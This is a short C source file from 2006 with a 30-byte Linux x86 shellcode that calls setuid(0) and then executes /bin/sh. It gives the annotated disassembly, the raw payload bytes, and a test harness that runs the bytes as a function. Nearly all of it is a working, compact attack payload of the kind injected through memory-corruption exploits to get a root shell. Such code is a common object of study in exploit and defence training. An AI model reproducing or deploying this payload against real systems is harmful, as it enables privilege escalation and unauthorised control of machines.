/* * bunker_sc2.c V1.2 - Mon Mar 20 20:23:23 CET 2006 * * Short (7 + 23 = 30 bytes) linux/x86 shellcode * setuid(0) + execve("/bin//sh", "[/bin//sh]", NULL); * * I got the same (i think best in space) result of raptor * * bunker - http://rawlab.mindcreations.com * 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 * * setuid(0); * 00000000 6a17 push byte +0x17 * 00000002 58 pop eax * 00000003 31db xor ebx,ebx * 00000005 cd80 int 0x80 * * execve("/bin//sh", ["/bin//sh"], NULL); * 00000007 6a0b push byte +0xb * 00000009 58 pop eax * 0000000a 99 cdq * 0000000b 52 push edx * 0000000c 682f2f7368 push dword 0x68732f2f * 00000011 682f62696e push dword 0x6e69622f * 00000016 89e3 mov ebx,esp * 00000018 52 push edx * 00000019 53 push ebx * 0000001a 89e1 mov ecx,esp * 0000001c cd80 int 0x80 */ char sc[]= "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52" "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xcd\x80"; main() { int(*f)()=(int(*)())sc;f(); }